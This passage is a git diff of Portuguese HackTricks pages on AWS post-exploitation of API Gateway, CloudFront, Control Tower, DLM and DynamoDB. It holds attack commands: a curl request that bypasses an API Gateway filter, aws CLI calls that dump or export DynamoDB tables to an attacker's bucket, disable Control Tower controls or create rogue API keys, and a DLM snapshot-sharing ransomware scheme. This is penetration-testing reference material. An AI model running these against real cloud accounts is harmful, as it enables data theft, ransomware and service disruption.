-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
|
||||
|
||||
> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras pelas quais uma role chain pode ser configurada.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Código para realizar Role Juggling a partir do PowerShell</summary>
|
||||
<summary>Código para executar Role Juggling a partir do PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,46 +1,46 @@
|
||||
# AWS - API Gateway Pós Exploração
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Acessar APIs não expostas
|
||||
|
||||
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
|
||||
Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.
|
||||
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o service `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede à qual você tenha acesso (potencialmente via uma máquina EC2) e atribuir um security group permitindo todas as conexões.\
|
||||
Então, a partir da máquina EC2 você poderá acessar o endpoint e, portanto, chamar o API Gateway que não estava exposto antes.
|
||||
|
||||
### Bypass do corpo da requisição
|
||||
### Contornar o passthrough do corpo da requisição
|
||||
|
||||
Esta técnica foi encontrada em [**este writeup de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
Esta técnica foi encontrada em [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Conforme indicado na [**documentação da AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, passará a requisição para o back end sem transformação.
|
||||
Como indicado na [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, irá passar a requisição para o back end sem qualquer transformação.
|
||||
|
||||
Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo que a flag fosse exfiltrada** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
|
||||
Portanto, no CTF o API Gateway tinha um integration template que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
No entanto, enviar uma solicitação com **`Content-type: text/json`** impediria esse filtro.
|
||||
No entanto, enviar uma requisição com **`Content-type: text/json`** contornaria esse filtro.
|
||||
|
||||
Finalmente, como o API Gateway estava permitindo apenas `Get` e `Options`, era possível enviar uma consulta arbitrária do dynamoDB sem nenhum limite, enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho `X-HTTP-Method-Override: GET`:
|
||||
Por fim, como o API Gateway só permitia `Get` e `Options`, era possível enviar uma query arbitrária ao dynamoDB sem qualquer limitação, enviando uma requisição POST com a query no corpo e usando o header `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Planos de Uso DoS
|
||||
### Usage Plans DoS
|
||||
|
||||
Na seção **Enumeração**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você pode **apenas usá-la e causar um DoS**.
|
||||
Na seção **Enumeration** você pode ver como **obter o usage plan** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **simplesmente usá-la e causar um DoS**.
|
||||
|
||||
A **API Key** só precisa ser **incluída** dentro de um **cabeçalho HTTP** chamado **`x-api-key`**.
|
||||
A **API Key** só precisa ser **incluída** em um **HTTP header** chamado **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
|
||||
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar um Gateway Response existente para incluir headers customizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -53,12 +53,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**.
|
||||
Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um stage existente do API Gateway para redirecionar o tráfego para um stage diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.
|
||||
**Impacto Potencial**: Acesso não autorizado a dados em cache, interrupção ou interceptação do tráfego da API.
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
|
||||
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar o Method Response de um método existente do API Gateway REST API para incluir headers personalizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
**Impacto Potencial**: Leakage de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API**.
|
||||
Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações do API Gateway REST API para desabilitar logs ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
|
||||
**Impacto Potencial**: Enfraquecimento da segurança da API, potencialmente permitindo acesso não autorizado ou expondo informações sensíveis.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de teste
|
||||
> Necessita de testes
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado às APIs**.
|
||||
Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e então usar essas chaves para acesso não autorizado às APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a recursos da API, contornando controles de segurança.
|
||||
**Potential Impact**: Acesso não autorizado a recursos de API, contornando controles de segurança.
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,31 +0,0 @@
|
||||
# AWS - CloudFront Pós-Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver em uso) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
|
||||
|
||||
#### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket
|
||||
|
||||
- **Criar** a **função** maliciosa.
|
||||
- **Associá-la** à distribuição do CloudFront.
|
||||
- Definir o **tipo de evento como "Viewer Response"**.
|
||||
|
||||
Acessando a resposta, você poderia roubar o cookie dos usuários e injetar um JS malicioso.
|
||||
|
||||
#### cenário 2: MitM onde o CloudFront já está usando uma função lambda
|
||||
|
||||
- **Modificar o código** da função lambda para roubar informações sensíveis.
|
||||
|
||||
Você pode verificar o [**código tf para recriar esses cenários aqui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,31 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Este [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** de sessão) e **modificar** a **response** (injetando um script JS malicioso).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Crie** a **função** maliciosa.
|
||||
- **Associe** a função à distribuição do CloudFront.
|
||||
- **Defina o event type para "Viewer Response"**.
|
||||
|
||||
Ao acessar a resposta, você pode roubar o cookie dos usuários e injetar um JS malicioso.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modifique o código** da função Lambda para roubar informações sensíveis
|
||||
|
||||
Você pode verificar o [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +0,0 @@
|
||||
# AWS - Controle de Torre Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Controle de Torre
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Habilitar / Desabilitar Controles
|
||||
|
||||
Para explorar ainda mais uma conta, você pode precisar desabilitar/habilitar os controles do Controle de Torre:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,18 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enable / Disable Controls
|
||||
|
||||
Para explorar mais uma conta, pode ser necessário desativar/ativar os controles do Control Tower:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - DLM Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gerenciador de Ciclo de Vida de Dados (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, eles podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
|
||||
|
||||
Primeiramente, usará um comando para coletar informações sobre os volumes, como ID da instância, ID do volume, status de criptografia, status de anexação e tipo de volume.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Em segundo lugar, criará a política de ciclo de vida. Este comando utiliza a API DLM para configurar uma política de ciclo de vida que automaticamente tira snapshots diários dos volumes especificados em um horário designado. Também aplica tags específicas aos snapshots e copia tags dos volumes para os snapshots. O arquivo policyDetails.json inclui os detalhes da política de ciclo de vida, como tags alvo, cronograma, o ARN da chave KMS opcional para criptografia e a conta alvo para compartilhamento de snapshots, que será registrado nos logs do CloudTrail da vítima.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Um modelo para o documento de política pode ser visto aqui:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Um ransomware attack pode ser executado criptografando o máximo de volumes EBS possível e depois apagando as instâncias EC2 atuais, os volumes EBS e os snapshots. Para automatizar essa atividade maliciosa, é possível utilizar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, podem transferir snapshots sem criptografia para uma conta que controlam e então criptografá-los lá. Embora não seja simples criptografar diretamente volumes EBS ou snapshots existentes, é possível conseguir isso criando um novo volume ou snapshot.
|
||||
|
||||
Primeiro, será usado um comando para coletar informações sobre os volumes, como instance ID, volume ID, status de encryption, status de attachment e type do volume.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Em seguida, será criada a política de lifecycle. Esse comando utiliza a API do DLM para configurar uma lifecycle policy que tira automaticamente snapshots diários dos volumes especificados em um horário determinado. Ela também aplica tags específicas aos snapshots e copia tags dos volumes para os snapshots. O arquivo policyDetails.json inclui os detalhes da lifecycle policy, como tags alvo, cronograma, o ARN da chave KMS opcional para encryption e a conta alvo para o compartilhamento dos snapshots, que ficará registrada nos logs do CloudTrail da vítima.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Um modelo para o documento de política pode ser visto aqui:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações veja:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Um atacante com essa permissão poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las consultando os metadados da tabela (`describe-table`).
|
||||
Um atacante com essa permissão poderá **obter itens das tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las pegando os metadados da tabela (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto potencial:** Elevação de privilégios indireta (privesc) ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, desde que possua a chave primária do item a recuperar:
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dada a chave primária da entrada a recuperar:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Com essa permissão, também é possível usar o método **`transact-get-items`** como:
|
||||
Com essa permissão também é possível usar o método **`transact-get-items`** assim:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impacto Potencial:** Elevação de privilégios indireta (privesc) ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a ser recuperada. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma requisição.
|
||||
**Semelhante às permissões anteriores**, esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a ser recuperada. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma requisição.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto potencial:** Indirect privesc ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Você pode usar esta permissão para **dump the entire table easily**.
|
||||
Você pode usar esta permissão para **dump a tabela inteira facilmente**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impacto potencial:** Privesc indireta por localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Você pode usar essa permissão para **dump toda a tabela facilmente**.
|
||||
Você pode usar esta permissão para **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Essa permissão também permite executar `batch-execute-statement` como:
|
||||
Esta permissão também permite executar `batch-execute-statement` como:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
mas você precisa especificar a chave primária com um valor, então isso não é tão útil.
|
||||
mas é necessário especificar a chave primária com um valor, então isso não é tão útil.
|
||||
|
||||
**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
|
||||
**Potential Impact:** Escalada de privilégios indireta (indirect privesc) ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Esta permissão permitirá que um atacante **exporte toda a tabela para um S3 bucket** de sua escolha:
|
||||
Essa permissão permitirá que um atacante **exporte a tabela inteira para um S3 bucket** de sua escolha:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,22 +144,23 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery habilitado. Você pode verificar se a tabela possui isso com:
|
||||
Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery habilitado; você pode verificar se a tabela tem isso com:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
